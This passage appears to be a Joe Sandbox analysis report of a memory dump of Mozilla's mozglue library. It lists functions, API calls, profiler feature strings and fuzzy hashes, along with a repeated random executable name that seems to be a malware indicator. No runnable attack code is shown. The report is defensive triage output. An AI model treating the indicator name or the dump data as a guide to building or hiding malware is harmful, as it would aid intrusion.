??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C997AA1

Part of subcall function 6C965C50: __aulldiv.LIBCMT ref: 6C965DB4
Part of subcall function 6C965C50: LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C965DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C997B31

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e8f91c7a3ca11ee4535db11ea8900b2ffc35fe9cbf085f3ace2169694374a37
Instruction ID: ccab8f82974695159ba4efda20653362eb63494cf8b5867208f0e8ac080c7b16
Opcode Fuzzy Hash: 3e8f91c7a3ca11ee4535db11ea8900b2ffc35fe9cbf085f3ace2169694374a37
Instruction Fuzzy Hash: 13B1AE356083808BDB14CF25C49069FB7E6BFD9318F194A1CE99567B91DB70E90ACB83

Function 6C986CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C986D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C986E1E

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9d7fae640234978581449d29d12888beed9e0331e5ba6d191ae735125bb7d0c8
Instruction ID: da661fe646fd782739240cb9142f9c8c84cf7edef7e6abe8f99fd7d9b84cd6eb
Opcode Fuzzy Hash: 9d7fae640234978581449d29d12888beed9e0331e5ba6d191ae735125bb7d0c8
Instruction Fuzzy Hash: 77A17C706193808FCB15CF24C4907AEFBE6BF98308F54495DE48A8B751DB70E948CB92

Function 6C9AB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9AB720
RtlNtStatusToDosError.NTDLL ref: 6C9AB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C97FE3F,00000000,00000000,?,?,00000000,?,6C97FE3F), ref: 6C9AB760

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 7748cae4010d26120f11da14d1c255622b5e0992a5bacc1abaa70ee8b71aa8fa
Instruction ID: c271d1d4e134212a7cb907c6d388970ef8d61eb2b59fc72f7499f7596e578641
Opcode Fuzzy Hash: 7748cae4010d26120f11da14d1c255622b5e0992a5bacc1abaa70ee8b71aa8fa
Instruction Fuzzy Hash: A2F0C2B0A0420CAEEF019AE1CC85BEF77BC9B14719F105229E515759C1D7B4D6CCC660

Function 6C964640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C964777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C965585, 6C9655A8, 6C9655C3, 6C965624

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: cc89d2ae26ff7501f5f0239c218bedc3e24070de421f38b1a319070d9ae58c27
Instruction ID: 45d51b53abe2cff96f78ec7dd256fa77b7a1fd0dc3ac4778b419d57687e991ca
Opcode Fuzzy Hash: cc89d2ae26ff7501f5f0239c218bedc3e24070de421f38b1a319070d9ae58c27
Instruction Fuzzy Hash: C0B27E71A057018FE308CF1AC550615BBE6BFC5724B29C7ADE46A8BBE6D771E841CB80

Function 6C9A85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A8C7C
__aulldiv.LIBCMT ref: 6C9A8DD7

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 19e9ea72b2a84f8e7328320b2c587ecbae7823473ba5a9f7f302b8511ebd2501
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 85327C31F0015A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD406BB790DA349D468B95

Function 6C9AB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9503D4,?), ref: 6C9AB955
NtQueryVirtualMemory.NTDLL ref: 6C9AB9A5

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 7253b94d396c9155a349a078ff03e3b8515dbe2066f9ad1d30c8fb71223f5b1a
Instruction ID: 673affd1b17a9bbe002eb01a5275f04c16a49726f753848b6ac5567f93ed8935
Opcode Fuzzy Hash: 7253b94d396c9155a349a078ff03e3b8515dbe2066f9ad1d30c8fb71223f5b1a
Instruction Fuzzy Hash: B7419371E0121D9FDF04CFE9D881ADEB7B9EF88354F548129E505A7704DB31D9458B90

Function 6C94DFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

KDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlW, xrefs: 6C94E652, 6C94E847

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID: KDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlW
API String ID: 0-1849721805
Opcode ID: a8b91c6a0109019319dc3899eebd9651e2ad7351f25362c57b5aaeea415c6d29
Instruction ID: 1f826e62644ff128fa36356c750351871e89c1bd80a0fc550f4298a5581298fb
Opcode Fuzzy Hash: a8b91c6a0109019319dc3899eebd9651e2ad7351f25362c57b5aaeea415c6d29
Instruction Fuzzy Hash: E242C172A187518BD308CE3CC49075AF3E2BFC9364F198B2DE999A7794D734D9418B82

Function 6C985C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C954A63,?,?), ref: 6C985F06

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 95b07b0ee5b4f1d81d3e6c8fc2ad971cb936a8c46db41a6e8088aae0f4e0e65d
Instruction ID: f6ff53104b5965236f2c7e928f25a0c3186b9077a16366bc82127932a549c008
Opcode Fuzzy Hash: 95b07b0ee5b4f1d81d3e6c8fc2ad971cb936a8c46db41a6e8088aae0f4e0e65d
Instruction Fuzzy Hash: 9DC1F275E022098BDB04CF95C5906EEBBF2FF89318F28455DD856ABB41D732A809CF90

Function 6C9B76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 6c3ed01c5f448fe53c314265ff572803dd1b363f8e1d3ef1248887f05ba7a542
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0C32F971E0061A8FCB14CF98C990AAEFBB6FF88304F548269C549B7745D771A986CF90

Function 6C9B6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 71b48e75a807d62ec8702d16546b0d286551081524c95641ac9116ddf64299f2
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: BA22E871E006198FCB14CF98C890AAEF7B6FF88304F6586A9C549B7745D731A986CF90

Function 6C970512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 30a10e26d52a817084bf92ed857db2de64ddc0a4cfb5f92248aabcce648e3d18
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 3A221771E01619CFDB24CF98C890AADF7B2FF89308F548299D44AA7745D731A985CF90

Function 6C9BAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f84cf4804e6b0c6b76336d0e862f86c93d06ff5f2d2d64e1ff87559bc8b7330c
Instruction ID: e808fd46fcf40952daf94ba936f58941de9fd50538a3f31603328c6f4de37ef9
Opcode Fuzzy Hash: f84cf4804e6b0c6b76336d0e862f86c93d06ff5f2d2d64e1ff87559bc8b7330c
Instruction Fuzzy Hash: 91F15A71608745AFD700CE28C8907AFB7E6AFD5318F148A2DE4D4A77C1EB74D8898792

Function 6C94C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b0fbb0f195dddc56247244996ce554fd108c950a7be5ebf1043eb00bf7689ce0
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 7CA19471F0061A8FDB08CE69C8913AEB7F2AFC9354F198269D915E7785D7349C0A8BD0

Function 6C987710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 86d36c33ddde3ffb52be39dcf8e71587c64df4f975bd08665baa3085fb4eba5c
Instruction ID: af833864ca9ea939739ece3950374ad9e78b9b4ff8ca1ad10a4115ac457c33c6
Opcode Fuzzy Hash: 86d36c33ddde3ffb52be39dcf8e71587c64df4f975bd08665baa3085fb4eba5c
Instruction Fuzzy Hash: A9716D75E022198FCF18CF99C8905EDBBB6FF89314F24856EE416AB740D731A905CB90

Function 6C9858E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: ec4b09bcfe394bb4612851978283b2946e5f5c0c093ab40957904b7f13787544
Instruction ID: 7bdd6f582242ce35359646f9bf25761f40281882abeea974668c6f28f35560ed
Opcode Fuzzy Hash: ec4b09bcfe394bb4612851978283b2946e5f5c0c093ab40957904b7f13787544
Instruction Fuzzy Hash: 75818F75A012199FDB04CFA8C8809EEBBF6FF89314F644669D412AB741D731E949CBA0

Function 6C98CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C95582D), ref: 6C98CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C95582D), ref: 6C98CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9BFE98,?,?,?,?,?,6C95582D), ref: 6C98CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C95582D), ref: 6C98CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C95582D), ref: 6C98CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C95582D), ref: 6C98CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C95582D), ref: 6C98CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C98CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C98CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C98CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C98CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C98CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C98CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C98CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C98CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C98CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C98CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C98CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C98CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C98CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C98CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C98CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C98CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C98CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C98CE8A

Strings

java, xrefs: 6C98CC37
DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo, xrefs: 6C98CF31
unregisteredthreads, xrefs: 6C98CE58
noiostacks, xrefs: 6C98CCBE
seqstyle, xrefs: 6C98CCE6
processcpu, xrefs: 6C98CE6E
preferencereads, xrefs: 6C98CD92
default, xrefs: 6C98CC21
fileio, xrefs: 6C98CC92
nostacksampling, xrefs: 6C98CD7C
notimerresolutionchange, xrefs: 6C98CE00
cpuallthreads, xrefs: 6C98CE16
samplingallthreads, xrefs: 6C98CE2C
Unrecognized feature "%s"., xrefs: 6C98CEA0
fileioall, xrefs: 6C98CCA8
nativeallocations, xrefs: 6C98CDA8
ipcmessages, xrefs: 6C98CDBE
jsallocations, xrefs: 6C98CD0E
power, xrefs: 6C98CE84
audiocallbacktracing, xrefs: 6C98CDD4
screenshots, xrefs: 6C98CCD4
leaf, xrefs: 6C98CC66
markersallthreads, xrefs: 6C98CE42
stackwalk, xrefs: 6C98CCF8
mainthreadio, xrefs: 6C98CC7C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$DuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWoKLJLuJ.exeRlacMEKDuGKKipKNlWo$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-99467398
Opcode ID: 47ae3fabc08b457443edcfca63a2acb24a7427abd459c044d62d201b1d9d8cdb
Instruction ID: 342c8e63d2302148894be1d5ad62f99a12b8dbf90c8b03e25997e2db03473d7a
Opcode Fuzzy Hash: 47ae3fabc08b457443edcfca63a2acb24a7427abd459c044d62d201b1d9d8cdb
Instruction Fuzzy Hash: E55167C5A4722572FB0131156D11BAB1449EFF324AF508E3AED0AB3E80FB15F61986B7

Function 6C9547C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C954801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C954817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C95482D
__Init_thread_footer.LIBCMT ref: 6C95484A

Part of subcall function 6C97AB3F: EnterCriticalSection.KERNEL32(6C9CE370,?,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284), ref: 6C97AB49
Part of subcall function 6C97AB3F: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C943527,6C9CF6CC,?,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97AB7C

GetCurrentThreadId.KERNEL32 ref: 6C95485F
GetCurrentThreadId.KERNEL32 ref: 6C95487E
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95488B
free.MOZGLUE(?), ref: 6C95493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C954956
free.MOZGLUE(00000000), ref: 6C954960
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95499A

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

free.MOZGLUE(?), ref: 6C9549C6
free.MOZGLUE(?), ref: 6C9549E9

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C954A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C954812
